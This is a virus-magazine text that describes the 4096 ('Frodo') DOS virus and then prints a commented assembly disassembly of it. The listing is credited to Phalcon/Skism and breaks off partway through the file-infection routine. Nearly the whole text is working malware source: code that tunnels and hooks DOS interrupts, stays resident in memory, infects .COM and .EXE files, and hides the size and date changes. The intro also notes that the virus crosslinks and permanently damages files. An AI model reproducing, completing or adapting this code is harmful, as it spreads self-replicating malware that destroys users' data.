This huge virus was pretty smart for its time, the virus places itselve in
|
||
(high-) memory and uses a basic tunneling technique, it infects both .COM
|
||
and .EXE files, it infects on execution of .COM and .EXE files, the virus
|
||
contains a bootsector, altough this will not be written in any way onto
|
||
a disk (Patricia Hoffman says there is a bug in the virus!), if the boot-
|
||
sector is written manually to the disk, a message will appear on loading:
|
||
'FRODO LIVES', On 22 september your system will hang (Or is this the
|
||
bug?!?) this is the birthday of Bilbo and Frodo Braggin in The Lord Of The
|
||
Rings by Tolkien (Maybe the author of 4096 was a very big fan!). Also the
|
||
virus slowly crosslinks files on your harddisk, so the files will be
|
||
permanently damaged! The virus is stealth, and when the virus is loaded into
|
||
memory the filesize growth will not be seen!
|
||
|
||
-------------------------------------<CUT>-------------------------------------
|
||
|
||
_4096 segment byte public
|
||
assume cs:_4096, ds:_4096
|
||
|
||
; 4096 Virus disassembly by Phalcon/Skism, used in IVM-95-1
|
||
; Download IVM-95 it's a very good virus-magazine!
|
||
; Our WHQ: Arrested Development: +31 (0)77-547477
|
||
; Parasitic memory resident .COM and .EXE infector.
|
||
org 0
|
||
startvirus:
|
||
db 0
|
||
jmp installvirus
|
||
oldheader: ; original 1Ch bytes of the carrier file
|
||
retn
|
||
db 75h,02,44h,15h,46h,20h
|
||
db 'Copyright Bourb%}i, I'
|
||
endoldheader:
|
||
EXEflag db 00h
|
||
db 0FEh, 3Ah
|
||
|
||
int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
|
||
push bp ; set up stack frame
|
||
mov bp,sp
|
||
push ax
|
||
cmp word ptr [bp+4],0C000h ; in BIOS?
|
||
jnb foundorigint ; nope, haven't found it
|
||
mov ax,cs:DOSsegment ; in DOS?
|
||
cmp [bp+4],ax
|
||
jbe foundorigint
|
||
exitint1:
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
foundorigint:
|
||
cmp byte ptr cs:tracemode,1
|
||
jz tracemode1
|
||
mov ax,[bp+4] ; save segment of entry point
|
||
mov word ptr cs:origints+2,ax
|
||
mov ax,[bp+2] ; save offset of entry point
|
||
mov word ptr cs:origints,ax
|
||
jb finishint1
|
||
pop ax
|
||
pop bp
|
||
mov ss,cs:savess ; restore the stack to its
|
||
mov sp,cs:savesp ; original state
|
||
mov al,cs:saveIMR ; Restore IMR
|
||
out 21h,al ; (enable interrupts)
|
||
jmp setvirusints
|
||
finishint1:
|
||
and word ptr [bp+6],0FEFFh ; turn off trap flag
|
||
mov al,cs:saveIMR ; and restore IMR
|
||
out 21h,al
|
||
jmp short exitint1
|
||
tracemode1:
|
||
dec byte ptr cs:instructionstotrace
|
||
jnz exitint1
|
||
and word ptr [bp+6],0FEFFh ; turn off trap flag
|
||
call saveregs
|
||
call swapvirint21 ; restore original int
|
||
lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
|
||
mov al,1
|
||
call setvect
|
||
call restoreregs
|
||
jmp short finishint1
|
||
|
||
getint:
|
||
push ds
|
||
push si
|
||
xor si,si ; clear si
|
||
mov ds,si ; ds->interrupt table
|
||
xor ah,ah ; cbw would be better!?
|
||
mov si,ax
|
||
shl si,1 ; convert int # to offset in
|
||
shl si,1 ; interrupt table (int # x 4)
|
||
mov bx,[si] ; es:bx = interrupt vector
|
||
mov es,[si+2] ; get old interrupt vector
|
||
; save 3 bytes if use les bx,[si]
|
||
pop si
|
||
pop ds
|
||
retn
|
||
|
||
installvirus:
|
||
mov word ptr cs:stackptr,offset topstack
|
||
mov cs:initialax,ax ; save initial value for ax
|
||
mov ah,30h ; Get DOS version
|
||
int 21h
|
||
|
||
mov cs:DOSversion,al ; Save DOS version
|
||
mov cs:carrierPSP,ds ; Save PSP segment
|
||
mov ah,52h ; Get list of lists
|
||
int 21h
|
||
|
||
mov ax,es:[bx-2] ; segment of first MCB
|
||
mov cs:DOSsegment,ax ; save it for use in int 1
|
||
mov es,ax ; es = segment first MCB
|
||
mov ax,es:[1] ; Get owner of first MCB
|
||
mov cs:ownerfirstMCB,ax ; save it
|
||
push cs
|
||
pop ds
|
||
mov al,1 ; get single step vector
|
||
call getint
|
||
mov word ptr ds:oldint1,bx ; save it for later
|
||
mov word ptr ds:oldint1+2,es; restoration
|
||
mov al,21h ; get int 21h vector
|
||
call getint
|
||
mov word ptr ds:origints,bx
|
||
mov word ptr ds:origints+2,es
|
||
mov byte ptr ds:tracemode,0 ; regular trace mode on
|
||
mov dx,offset int1 ; set new int 1 handler
|
||
mov al,1
|
||
call setvect
|
||
pushf
|
||
pop ax
|
||
or ax,100h ; turn on trap flag
|
||
push ax
|
||
in al,21h ; Get old IMR
|
||
mov ds:saveIMR,al
|
||
mov al,0FFh ; disable all interrupts
|
||
out 21h,al
|
||
popf
|
||
mov ah,52h ; Get list of lists
|
||
pushf ; (for tracing purposes)
|
||
call dword ptr ds:origints ; perform the tunnelling
|
||
pushf
|
||
pop ax
|
||
and ax,0FEFFh ; turn off trap flag
|
||
push ax
|
||
popf
|
||
mov al,ds:saveIMR ; reenable interrupts
|
||
out 21h,al
|
||
push ds
|
||
lds dx,dword ptr ds:oldint1
|
||
mov al,1 ; restore int 1 to the
|
||
call setvect ; original handler
|
||
pop ds
|
||
les di,dword ptr ds:origints; set up int 21h handlers
|
||
mov word ptr ds:oldint21,di
|
||
mov word ptr ds:oldint21+2,es
|
||
mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
|
||
mov word ptr ds:int21store,offset otherint21
|
||
mov word ptr ds:int21store+2,cs
|
||
call swapvirint21 ; activate virus in memory
|
||
mov ax,4B00h
|
||
mov ds:checkres,ah ; set resident flag to a
|
||
; dummy value
|
||
mov dx,offset EXEflag+1 ; save EXE flag
|
||
push word ptr ds:EXEflag
|
||
int 21h ; installation check
|
||
; returns checkres=0 if
|
||
; installed
|
||
|
||
pop word ptr ds:EXEflag ; restore EXE flag
|
||
add word ptr es:[di-4],9
|
||
nop ; !?
|
||
mov es,ds:carrierPSP ; restore ES and DS to their
|
||
mov ds,ds:carrierPSP ; original values
|
||
sub word ptr ds:[2],(topstack/10h)+1
|
||
; alter top of memory in PSP
|
||
mov bp,ds:[2] ; get segment
|
||
mov dx,ds
|
||
sub bp,dx
|
||
mov ah,4Ah ; Find total available memory
|
||
mov bx,0FFFFh
|
||
int 21h
|
||
|
||
mov ah,4Ah ; Allocate all available memory
|
||
int 21h
|
||
|
||
dec dx ; go to MCB of virus memory
|
||
mov ds,dx
|
||
cmp byte ptr ds:[0],'Z' ; is it the last block?
|
||
je carrierislastMCB
|
||
dec byte ptr cs:checkres ; mark need to install virus
|
||
carrierislastMCB:
|
||
cmp byte ptr cs:checkres,0 ; need to install?
|
||
je playwithMCBs ; nope, go play with MCBs
|
||
mov byte ptr ds:[0],'M' ; mark not end of chain
|
||
playwithMCBs:
|
||
mov ax,ds:[3] ; get memory size controlled
|
||
mov bx,ax ; by the MCB
|
||
sub ax,(topstack/10h)+1 ; calculate new size
|
||
add dx,ax ; find high memory segment
|
||
mov ds:[3],ax ; put new size in MCB
|
||
inc dx ; one more for the MCB
|
||
mov es,dx ; es->high memory MCB
|
||
mov byte ptr es:[0],'Z' ; mark end of chain
|
||
push word ptr cs:ownerfirstMCB ; get DOS PSP ID
|
||
pop word ptr es:[1] ; make it the owner
|
||
mov word ptr es:[3],160h ; fill in the size field
|
||
inc dx
|
||
mov es,dx ; es->high memory area
|
||
push cs
|
||
pop ds
|
||
mov cx,(topstack/2) ; zopy 0-1600h to high memory
|
||
mov si,offset topstack-2
|
||
mov di,si
|
||
std ; zopy backwards
|
||
rep movsw
|
||
cld
|
||
push es ; set up stack for jmp into
|
||
mov ax,offset highentry ; virus code in high memory
|
||
push ax
|
||
mov es,cs:carrierPSP ; save current PSP segment
|
||
mov ah,4Ah ; Alter memory allocation
|
||
mov bx,bp ; bx = paragraphs
|
||
int 21h
|
||
retf ; jmp to virus code in high
|
||
highentry: ; memory
|
||
call swapvirint21
|
||
mov word ptr cs:int21store+2,cs
|
||
call swapvirint21
|
||
push cs
|
||
pop ds
|
||
mov byte ptr ds:handlesleft,14h ; reset free handles count
|
||
push cs
|
||
pop es
|
||
mov di,offset handletable
|
||
mov cx,14h
|
||
xor ax,ax ; clear handle table
|
||
rep stosw
|
||
mov ds:hideclustercountchange,al ; clear the flag
|
||
mov ax,ds:carrierPSP
|
||
mov es,ax ; es->PSP
|
||
lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
|
||
mov ds,ax ; ds->PSP
|
||
add ax,10h ; adjust for PSP
|
||
add word ptr cs:oldheader+16h,ax ; adjust jmp location
|
||
cmp byte ptr cs:EXEflag,0 ; for PSP
|
||
jne returntoEXE
|
||
returntoCOM:
|
||
sti
|
||
mov ax,word ptr cs:oldheader; restore first 6 bytes of the
|
||
mov ds:[100h],ax ; COM file
|
||
mov ax,word ptr cs:oldheader+2
|
||
mov ds:[102h],ax
|
||
mov ax,word ptr cs:oldheader+4
|
||
mov ds:[104h],ax
|
||
push word ptr cs:carrierPSP ; Segment of carrier file's
|
||
mov ax,100h ; PSP
|
||
push ax
|
||
mov ax,cs:initialax ; restore orig. value of ax
|
||
retf ; return to original COM file
|
||
|
||
returntoEXE:
|
||
add word ptr cs:oldheader+0eh,ax
|
||
mov ax,cs:initialax ; Restore ax
|
||
mov ss,word ptr cs:oldheader+0eh ; Restore stack to
|
||
mov sp,word ptr cs:oldheader+10h ; original value
|
||
sti
|
||
jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
|
||
; entry point
|
||
entervirus:
|
||
cmp sp,100h ; COM file?
|
||
ja dont_resetstack ; if so, skip this
|
||
xor sp,sp ; new stack
|
||
dont_resetstack:
|
||
mov bp,ax
|
||
call next ; calculate relativeness
|
||
next:
|
||
pop cx
|
||
sub cx,offset next ; cx = delta offset
|
||
mov ax,cs ; ax = segment
|
||
mov bx,10h ; convert to offset
|
||
mul bx
|
||
add ax,cx
|
||
adc dx,0
|
||
div bx ; convert to seg:off
|
||
push ax ; set up stack for jmp
|
||
mov ax,offset installvirus ; to installvirus
|
||
push ax
|
||
mov ax,bp
|
||
retf ; go to installvirus
|
||
|
||
int21commands:
|
||
db 30h ; get DOS version
|
||
dw offset getDOSversion
|
||
db 23h ; FCB get file size
|
||
dw offset FCBgetfilesize
|
||
db 37h ; get device info
|
||
dw offset get_device_info
|
||
db 4Bh ; execute
|
||
dw offset execute
|
||
db 3Ch ; create file w/ handle
|
||
dw offset createhandle
|
||
db 3Dh ; open file
|
||
dw offset openhandle
|
||
db 3Eh ; close file
|
||
dw offset handleclosefile
|
||
db 0Fh ; FCB open file
|
||
dw offset FCBopenfile
|
||
db 14h ; sequential FCB read
|
||
dw offset sequentialFCBread
|
||
db 21h ; random FCB read
|
||
dw offset randomFCBread
|
||
db 27h ; random FCB block read
|
||
dw offset randomFCBblockread
|
||
db 11h ; FCB find first
|
||
dw offset FCBfindfirstnext
|
||
db 12h ; FCB find next
|
||
dw offset FCBfindfirstnext
|
||
db 4Eh ; filename find first
|
||
dw offset filenamefindfirstnext
|
||
db 4Fh ; filename find next
|
||
dw offset filenamefindfirstnext
|
||
db 3Fh ; read
|
||
dw offset handleread
|
||
db 40h ; write
|
||
dw offset handlewrite
|
||
db 42h ; move file pointer
|
||
dw offset handlemovefilepointer
|
||
db 57h ; get/set file time/date
|
||
dw offset getsetfiletimedate
|
||
db 48h ; allocate memory
|
||
dw offset allocatememory
|
||
endcommands:
|
||
|
||
otherint21:
|
||
cmp ax,4B00h ; execute?
|
||
jnz notexecute
|
||
mov cs:checkres,al ; clear the resident flag
|
||
notexecute:
|
||
push bp ; set up stack frame
|
||
mov bp,sp
|
||
push [bp+6] ; push old flags
|
||
pop cs:int21flags ; and put in variable
|
||
pop bp ; why?
|
||
push bp ; why?
|
||
mov bp,sp ; set up new stack frame
|
||
call saveregs
|
||
call swapvirint21 ; reenable DOS int 21h handler
|
||
call disableBREAK
|
||
call restoreregs
|
||
call _pushall
|
||
push bx
|
||
mov bx,offset int21commands ; bx->command table
|
||
scanforcommand:
|
||
cmp ah,cs:[bx] ; scan for the function
|
||
jne findnextcommand ; code/subroutine combination
|
||
mov bx,cs:[bx+1]
|
||
xchg bx,[bp-14h]
|
||
cld
|
||
retn
|
||
findnextcommand:
|
||
add bx,3 ; go to next command
|
||
cmp bx,offset endcommands ; in the table until
|
||
jb scanforcommand ; there are no more
|
||
pop bx
|
||
exitotherint21:
|
||
call restoreBREAK
|
||
in al,21h ; save IMR
|
||
mov cs:saveIMR,al
|
||
mov al,0FFh ; disable all interrupts
|
||
out 21h,al
|
||
mov byte ptr cs:instructionstotrace,4 ; trace into
|
||
mov byte ptr cs:tracemode,1 ; oldint21
|
||
call replaceint1 ; set virus int 1 handler
|
||
call _popall
|
||
push ax
|
||
mov ax,cs:int21flags ; get the flags
|
||
or ax,100h ; turn on the trap flag
|
||
push ax ; and set it in motion
|
||
popf
|
||
pop ax
|
||
pop bp
|
||
jmp dword ptr cs:oldint21 ; chain back to original int
|
||
; 21h handler -- do not return
|
||
|
||
exitint21:
|
||
call saveregs
|
||
call restoreBREAK
|
||
call swapvirint21
|
||
call restoreregs
|
||
pop bp
|
||
push bp ; set up stack frame
|
||
mov bp,sp
|
||
push word ptr cs:int21flags ; get the flags and put
|
||
pop word ptr [bp+6] ; them on the stack for
|
||
pop bp ; the iret
|
||
iret
|
||
|
||
FCBfindfirstnext:
|
||
call _popall
|
||
call callint21
|
||
or al,al ; Found any files?
|
||
jnz exitint21 ; guess not
|
||
call _pushall
|
||
call getdisktransferaddress
|
||
mov al,0
|
||
cmp byte ptr [bx],0FFh ; Extended FCB?
|
||
jne findfirstnextnoextendedFCB
|
||
mov al,[bx+6]
|
||
add bx,7 ; convert to normal FCB
|
||
findfirstnextnoextendedFCB:
|
||
and cs:hide_size,al
|
||
test byte ptr [bx+1Ah],80h ; check year bit for virus
|
||
jz _popall_then_exitint21 ; infection tag. exit if so
|
||
sub byte ptr [bx+1Ah],0C8h ; alter file date
|
||
cmp byte ptr cs:hide_size,0
|
||
jne _popall_then_exitint21
|
||
sub word ptr [bx+1Dh],1000h ; hide file size
|
||
sbb word ptr [bx+1Fh],0
|
||
_popall_then_exitint21:
|
||
call _popall
|
||
jmp short exitint21
|
||
|
||
FCBopenfile:
|
||
call _popall
|
||
call callint21 ; chain to original int 21h
|
||
call _pushall
|
||
or al,al ; 0 = success
|
||
jnz _popall_then_exitint21
|
||
mov bx,dx
|
||
test byte ptr [bx+15h],80h ; check if infected yet
|
||
jz _popall_then_exitint21
|
||
sub byte ptr [bx+15h],0C8h ; restore date
|
||
sub word ptr [bx+10h],1000h ; and hide file size
|
||
sbb byte ptr [bx+12h],0
|
||
jmp short _popall_then_exitint21
|
||
|
||
randomFCBblockread:
|
||
jcxz go_exitotherint21 ; reading any blocks?
|
||
|
||
randomFCBread:
|
||
mov bx,dx
|
||
mov si,[bx+21h] ; check if reading first
|
||
or si,[bx+23h] ; bytes
|
||
jnz go_exitotherint21
|
||
jmp short continueFCBread
|
||
|
||
sequentialFCBread:
|
||
mov bx,dx
|
||
mov ax,[bx+0Ch] ; check if reading first
|
||
or al,[bx+20h] ; bytes
|
||
jnz go_exitotherint21
|
||
continueFCBread:
|
||
call checkFCBokinfect
|
||
jnc continuecontinueFCBread
|
||
go_exitotherint21:
|
||
jmp exitotherint21
|
||
continuecontinueFCBread:
|
||
call _popall
|
||
call _pushall
|
||
call callint21 ; chain to original handler
|
||
mov [bp-4],ax ; set the return codes
|
||
mov [bp-8],cx ; properly
|
||
push ds ; save FCB pointer
|
||
push dx
|
||
call getdisktransferaddress
|
||
cmp word ptr [bx+14h],1 ; check for EXE infection
|
||
je FCBreadinfectedfile ; (IP = 1)
|
||
mov ax,[bx] ; check for COM infection
|
||
add ax,[bx+2] ; (checksum = 0)
|
||
add ax,[bx+4]
|
||
jz FCBreadinfectedfile
|
||
add sp,4 ; no infection, no stealth
|
||
jmp short _popall_then_exitint21 ; needed
|
||
FCBreadinfectedfile:
|
||
pop dx ; restore address of the FCB
|
||
pop ds
|
||
mov si,dx
|
||
push cs
|
||
pop es
|
||
mov di,offset tempFCB ; copy FCB to temporary one
|
||
mov cx,25h
|
||
rep movsb
|
||
mov di,offset tempFCB
|
||
push cs
|
||
pop ds
|
||
mov ax,[di+10h] ; get old file size
|
||
mov dx,[di+12h]
|
||
add ax,100Fh ; increase by virus size
|
||
adc dx,0 ; and round to the nearest
|
||
and ax,0FFF0h ; paragraph
|
||
mov [di+10h],ax ; insert new file size
|
||
mov [di+12h],dx
|
||
sub ax,0FFCh
|
||
sbb dx,0
|
||
mov [di+21h],ax ; set new random record #
|
||
mov [di+23h],dx
|
||
mov word ptr [di+0Eh],1 ; record size = 1
|
||
mov cx,1Ch
|
||
mov dx,di
|
||
mov ah,27h ; random block read 1Ch bytes
|
||
call callint21
|
||
jmp _popall_then_exitint21
|
||
|
||
FCBgetfilesize:
|
||
push cs
|
||
pop es
|
||
mov si,dx
|
||
mov di,offset tempFCB ; copy FCB to temp buffer
|
||
mov cx,0025h
|
||
repz movsb
|
||
push ds
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
mov dx,offset tempFCB
|
||
mov ah,0Fh ; FCB open file
|
||
call callint21
|
||
mov ah,10h ; FCB close file
|
||
call callint21
|
||
test byte ptr [tempFCB+15h],80h ; check date bit
|
||
pop si
|
||
pop ds
|
||
jz will_exitotherint21 ; exit if not infected
|
||
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
|
||
mov ax,es
|
||
sub bx,1000h ; hide increase
|
||
sbb ax,0
|
||
xor dx,dx
|
||
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
|
||
dec cx
|
||
add bx,cx
|
||
adc ax,0
|
||
inc cx
|
||
div cx
|
||
mov [si+23h],ax ; fix random access record #
|
||
xchg dx,ax
|
||
xchg bx,ax
|
||
div cx
|
||
mov [si+21h],ax ; fix random access record #
|
||
jmp _popall_then_exitint21
|
||
|
||
filenamefindfirstnext:
|
||
and word ptr cs:int21flags,-2 ; turn off trap flag
|
||
call _popall
|
||
call callint21
|
||
call _pushall
|
||
jnb filenamefffnOK ; continue if a file is found
|
||
or word ptr cs:int21flags,1
|
||
jmp _popall_then_exitint21
|
||
|
||
filenamefffnOK:
|
||
call getdisktransferaddress
|
||
test byte ptr [bx+19h],80h ; Check high bit of date
|
||
jnz filenamefffnfileinfected; Bit set if infected
|
||
jmp _popall_then_exitint21
|
||
filenamefffnfileinfected:
|
||
sub word ptr [bx+1Ah],1000h ; hide file length increase
|
||
sbb word ptr [bx+1Ch],0
|
||
sub byte ptr [bx+19h],0C8h ; and date change
|
||
jmp _popall_then_exitint21
|
||
|
||
createhandle:
|
||
push cx
|
||
and cx,7 ; mask the attributes
|
||
cmp cx,7 ; r/o, hidden, & system?
|
||
je exit_create_handle
|
||
pop cx
|
||
call replaceint13and24
|
||
call callint21 ; chain to original int 21h
|
||
call restoreint13and24
|
||
pushf
|
||
cmp byte ptr cs:errorflag,0 ; check if any errors yet
|
||
je no_errors_createhandle
|
||
popf
|
||
will_exitotherint21:
|
||
jmp exitotherint21
|
||
no_errors_createhandle:
|
||
popf
|
||
jc other_error_createhandle; exit on error
|
||
mov bx,ax ; move handle to bx
|
||
mov ah,3Eh ; Close file
|
||
call callint21
|
||
jmp short openhandle
|
||
other_error_createhandle:
|
||
or byte ptr cs:int21flags,1; turn on the trap flag
|
||
mov [bp-4],ax ; set the return code properly
|
||
jmp _popall_then_exitint21
|
||
exit_create_handle:
|
||
pop cx
|
||
jmp exitotherint21
|
||
|
||
openhandle:
|
||
call getcurrentPSP
|
||
call checkdsdxokinfect
|
||
jc jmp_exitotherint21
|
||
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
|
||
je jmp_exitotherint21 ; entry in the table
|
||
call setup_infection ; open the file
|
||
cmp bx,0FFFFh ; error?
|
||
je jmp_exitotherint21 ; if so, exit
|
||
dec byte ptr cs:handlesleft
|
||
push cs
|
||
pop es
|
||
mov di,offset handletable
|
||
mov cx,14h
|
||
xor ax,ax ; find end of the table
|
||
repne scasw
|
||
mov ax,cs:currentPSP ; put the PSP value and the
|
||
mov es:[di-2],ax ; handle # in the table
|
||
mov es:[di+26h],bx
|
||
mov [bp-4],bx ; put handle # in return code
|
||
handleopenclose_exit:
|
||
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
|
||
jmp _popall_then_exitint21
|
||
jmp_exitotherint21:
|
||
jmp exitotherint21
|
||
|
||
handleclosefile:
|
||
push cs
|
||
pop es
|
||
call getcurrentPSP
|
||
mov di,offset handletable
|
||
mov cx,14h ; 14h entries max
|
||
mov ax,cs:currentPSP ; search for calling PSP
|
||
scanhandle_close:
|
||
repne scasw
|
||
jnz handlenotfound ; handle not trapped
|
||
cmp bx,es:[di+26h] ; does the handle correspond?
|
||
jne scanhandle_close ; if not, find another handle
|
||
mov word ptr es:[di-2],0 ; otherwise, clear handle
|
||
call infect_file
|
||
inc byte ptr cs:handlesleft ; fix handles left counter
|
||
jmp short handleopenclose_exit ; and exit
|
||
handlenotfound:
|
||
jmp exitotherint21
|
||
|
||
getdisktransferaddress:
|
||
push es
|
||
mov ah,2Fh ; Get disk transfer address
|
||
call callint21 ; to es:bx
|
||
push es
|
||
pop ds ; mov to ds:bx
|
||
pop es
|
||
retn
|
||
execute:
|
||
or al,al ; load and execute?
|
||
jz loadexecute ; yepper!
|
||
jmp checkloadnoexecute ; otherwise check if
|
||
; load/no execute
|
||
loadexecute:
|
||
push ds ; save filename
|
||
push dx
|
||
mov word ptr cs:parmblock,bx; save parameter block and
|
||
mov word ptr cs:parmblock+2,es; move to ds:si
|
||
lds si,dword ptr cs:parmblock
|
||
mov di,offset copyparmblock ; copy the parameter block
|
||
mov cx,0Eh
|
||
push cs
|
||
pop es
|
||
rep movsb
|
||
pop si ; copy the filename
|
||
pop ds ; to the buffer
|
||
mov di,offset copyfilename
|
||
mov cx,50h
|
||
rep movsb
|
||
mov bx,0FFFFh
|
||
call allocate_memory ; allocate available memory
|
||
call _popall
|
||
pop bp ; save the parameters
|
||
pop word ptr cs:saveoffset ; on the stack
|
||
pop word ptr cs:savesegment
|
||
pop word ptr cs:int21flags
|
||
mov ax,4B01h ; load/no execute
|
||
push cs ; ds:dx -> file name
|
||
pop es ; es:bx -> parameter block
|
||
mov bx,offset copyparmblock
|
||
pushf ; perform interrupt 21h
|
||
call dword ptr cs:oldint21
|
||
jnc continue_loadexecute ; continue if no error
|
||
or word ptr cs:int21flags,1; turn on trap flag
|
||
push word ptr cs:int21flags ; if error
|
||
push word ptr cs:savesegment ; restore stack
|
||
push word ptr cs:saveoffset
|
||
push bp ; restore the stack frame
|
||
mov bp,sp ; and restore ES:BX to
|
||
les bx,dword ptr cs:parmblock ; point to the parameter
|
||
jmp exitint21 ; block
|
||
continue_loadexecute:
|
||
call getcurrentPSP
|
||
push cs
|
||
pop es
|
||
mov di,offset handletable ; scan the handle table
|
||
mov cx,14h ; for the current PSP's
|
||
scanhandle_loadexecute: ; handles
|
||
mov ax,cs:currentPSP
|
||
repne scasw
|
||
jnz loadexecute_checkEXE
|
||
mov word ptr es:[di-2],0 ; clear entry in handle table
|
||
inc byte ptr cs:handlesleft ; fix handlesleft counter
|
||
jmp short scanhandle_loadexecute
|
||
loadexecute_checkEXE:
|
||
lds si,dword ptr cs:origcsip
|
||
cmp si,1 ; Check if EXE infected
|
||
jne loadexecute_checkCOM
|
||
mov dx,word ptr ds:oldheader+16h ; get initial CS
|
||
add dx,10h ; adjust for PSP
|
||
mov ah,51h ; Get current PSP segment
|
||
call callint21
|
||
add dx,bx ;adjust for start load segment
|
||
mov word ptr cs:origcsip+2,dx
|
||
push word ptr ds:oldheader+14h ; save old IP
|
||
pop word ptr cs:origcsip
|
||
add bx,10h ; adjust for the PSP
|
||
add bx,word ptr ds:oldheader+0Eh ; add old SS
|
||
mov cs:origss,bx
|
||
push word ptr ds:oldheader+10h ; old SP
|
||
pop word ptr cs:origsp
|
||
jmp short perform_loadexecute
|
||
loadexecute_checkCOM:
|
||
mov ax,[si] ; Check if COM infected
|
||
add ax,[si+2]
|
||
add ax,[si+4]
|
||
jz loadexecute_doCOM ; exit if already infected
|
||
push cs ; otherwise check to see
|
||
pop ds ; if it is suitable for
|
||
mov dx,offset copyfilename ; infection
|
||
call checkdsdxokinfect
|
||
call setup_infection
|
||
inc byte ptr cs:hideclustercountchange
|
||
call infect_file ; infect the file
|
||
dec byte ptr cs:hideclustercountchange
|
||
perform_loadexecute:
|
||
mov ah,51h ; Get current PSP segment
|
||
call callint21
|
||
call saveregs
|
||
call restoreBREAK
|
||
call swapvirint21
|
||
call restoreregs
|
||
mov ds,bx ; ds = current PSP segment
|
||
mov es,bx ; es = current PSP segment
|
||
push word ptr cs:int21flags ; restore stack parameters
|
||
push word ptr cs:savesegment
|
||
push word ptr cs:saveoffset
|
||
pop word ptr ds:[0Ah] ; Set terminate address in PSP
|
||
pop word ptr ds:[0Ch] ; to return address found on
|
||
; the stack
|
||
; (int 21h caller CS:IP)
|
||
push ds
|
||
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
|
||
mov al,22h ; Set terminate address to it
|
||
call setvect
|
||
pop ds
|
||
popf
|
||
pop ax
|
||
mov ss,cs:origss ; restore the stack
|
||
mov sp,cs:origsp ; and
|
||
jmp dword ptr cs:origcsip ; perform the execute
|
||
|
||
loadexecute_doCOM:
|
||
mov bx,[si+1] ; restore original COM file
|
||
mov ax,word ptr ds:[bx+si-261h]
|
||
mov [si],ax
|
||
mov ax,word ptr ds:[bx+si-25Fh]
|
||
mov [si+2],ax
|
||
mov ax,word ptr ds:[bx+si-25Dh]
|
||
mov [si+4],ax
|
||
jmp short perform_loadexecute
|
||
checkloadnoexecute:
|
||
cmp al,1
|
||
je loadnoexecute
|
||
jmp exitotherint21
|
||
loadnoexecute:
|
||
or word ptr cs:int21flags,1; turn on trap flag
|
||
mov word ptr cs:parmblock,bx; save pointer to parameter
|
||
mov word ptr cs:parmblock+2,es ; block
|
||
call _popall
|
||
call callint21 ; chain to int 21h
|
||
call _pushall
|
||
les bx,dword ptr cs:parmblock ; restore pointer to
|
||
; parameter block
|
||
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
|
||
jc exit_loadnoexecute
|
||
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
||
cmp si,1 ; check for EXE infection
|
||
je loadnoexecute_EXE_already_infected
|
||
; infected if initial IP = 1
|
||
mov ax,[si] ; check for COM infection
|
||
add ax,[si+2] ; infected if checksum = 0
|
||
add ax,[si+4]
|
||
jnz perform_the_execute
|
||
mov bx,[si+1] ; get jmp location
|
||
mov ax,ds:[bx+si-261h] ; restore original COM file
|
||
mov [si],ax
|
||
mov ax,ds:[bx+si-25Fh]
|
||
mov [si+2],ax
|
||
mov ax,ds:[bx+si-25Dh]
|
||
mov [si+4],ax
|
||
jmp short perform_the_execute
|
||
loadnoexecute_EXE_already_infected:
|
||
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
|
||
call getcurrentPSP
|
||
mov cx,cs:currentPSP
|
||
add cx,10h ; adjust for PSP
|
||
add dx,cx
|
||
mov es:[bx+14h],dx ; alter the entry point CS
|
||
mov ax,word ptr ds:oldheader+14h
|
||
mov es:[bx+12h],ax
|
||
mov ax,word ptr ds:oldheader+0Eh ; alter stack
|
||
add ax,cx
|
||
mov es:[bx+10h],ax
|
||
mov ax,word ptr ds:oldheader+10h
|
||
mov es:[bx+0Eh],ax
|
||
perform_the_execute:
|
||
call getcurrentPSP
|
||
mov ds,cs:currentPSP
|
||
mov ax,[bp+2] ; restore length as held in
|
||
mov word ptr ds:oldheader+6,ax
|
||
mov ax,[bp+4] ; the EXE header
|
||
mov word ptr ds:oldheader+8,ax
|
||
exit_loadnoexecute:
|
||
jmp _popall_then_exitint21
|
||
|
||
getDOSversion:
|
||
mov byte ptr cs:hide_size,0
|
||
mov ah,2Ah ; Get date
|
||
call callint21
|
||
cmp dx,916h ; September 22?
|
||
jb exitDOSversion ; leave if not
|
||
call writebootblock ; this is broken
|
||
exitDOSversion:
|
||
jmp exitotherint21
|
||
|
||
infect_file:
|
||
call replaceint13and24
|
||
call findnextparagraphboundary
|
||
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
|
||
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
|
||
je clearlyisanEXE ; EXE header
|
||
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
|
||
je clearlyisanEXE ; EXE header
|
||
dec byte ptr ds:EXEflag ; if neither, assume is a
|
||
jz try_infect_com ; COM file
|
||
clearlyisanEXE:
|
||
mov ax,ds:lengthinpages ; get file size in pages
|
||
shl cx,1 ; and convert it to
|
||
mul cx ; bytes
|
||
add ax,200h ; add 512 bytes
|
||
cmp ax,si
|
||
jb go_exit_infect_file
|
||
mov ax,ds:minmemory ; make sure min and max memory
|
||
or ax,ds:maxmemory ; are not both zero
|
||
jz go_exit_infect_file
|
||
mov ax,ds:filesizelow ; get filesize in dx:ax
|
||
mov dx,ds:filesizehigh
|
||
mov cx,200h ; convert to pages
|
||
div cx
|
||
or dx,dx ; filesize multiple of 512?
|
||
jz filesizemultiple512 ; then don't increment #
|
||
inc ax ; pages
|
||
filesizemultiple512:
|
||
mov ds:lengthinpages,ax ; put in new values for length
|
||
mov ds:lengthMOD512,dx ; fields
|
||
cmp word ptr ds:initialIP,1 ; check if already infected
|
||
je exit_infect_file
|
||
mov word ptr ds:initialIP,1 ; set new entry point
|
||
mov ax,si ; calculate new entry point
|
||
sub ax,ds:headersize ; segment
|
||
mov ds:initialcs,ax ; put this in for cs
|
||
add word ptr ds:lengthinpages,8 ; 4K more
|
||
